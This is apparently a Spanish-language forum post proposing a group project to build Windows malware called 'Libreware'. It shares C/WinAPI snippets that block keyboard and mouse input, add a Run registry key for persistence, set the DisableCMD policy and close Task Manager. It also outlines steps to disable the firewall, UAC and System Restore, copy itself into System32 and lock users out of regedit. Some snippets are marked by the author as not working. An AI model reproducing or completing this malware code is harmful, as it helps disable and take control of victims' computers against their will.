La idea del malware me interesa, llevo tiempo queriendo hacer uno pero hay muchas funciones que no soy capaz de sacar...desbloquear panel de control, desbloquear cmd, desbloquear regedit, añadir al registro para iniciar con windows.
POR FAVOR, ELIJAMOS UN PROYECTO YA Y NO CAMBIEMOS MAS DE IDEA, cojamos este si os parece.
Nombre sugerido... Libreware
Bloquear Teclado y ratón#include <winable.h>
BlockInput(true);
Sleep(20000);
BlockInput(false);
Copiar al registroHKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Nombre",0,REG_SZ,(const unsigned char*)"C:\\Ruta\\",sizeof"C:\\Ruta\\");
RegCloseKey(hkey);
Desactivar cmd No me funciona
DWORD dwVal = 1;
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx (hKey, "DisableCMD", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
RegCloseKey(hKey);
Desctivar administrador de tareas No me funcionaHWND TaskMgr;
TaskMgr = FindWindow(NULL,"Windows Task Manager");
if(TaskMgr != NULL) {
PostMessage(TaskMgr,WM_CLOSE,(LPARAM)0,(WPARAM)0);
}
Los pasos que necesitaremos serán estos:1-Desactivar Firewall.
2-Desactivar UAC.
3-Pegar el PE a Windows/System32
4-Copiarse al registro el Acceso Directo.
5-No deja acceder al usuario al registro (que diga que el admin lo ha desabilitado).
6-Desactivar el Restaurar Sistema.
7-Cerrar procesos
Ventanas Emergentes
Boton Ok MessageBox(NULL, "TEXTO", "TITULO",MB_OK);
OK y cancel MessageBox(NULL, "¿Cerrar?", "Test", MB_OKCANCEL);
Yes, No y cancel MessageBox(NULL, "¿Cerrar?", "Test", MB_YESNOCANCEL);
Boton Aceptar MessageBox(NULL, "¿Cerrar?", "Test", MB_ICONINFORMATION );
Ejecuta ventanas ShellExecute(NULL, "open","cmd.exe", "ipconfig", NULL, SW_SHOW);
Ocultar la ventana de MS-DOS FreeConsole();
Oculta la ventana de MS-DOS y WINDOWS, las 2 lineas HWND ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);
Pues venga, con todo esto ya tenemos una idea basica, pues empecemos al tema. Lo primero estructurar el code.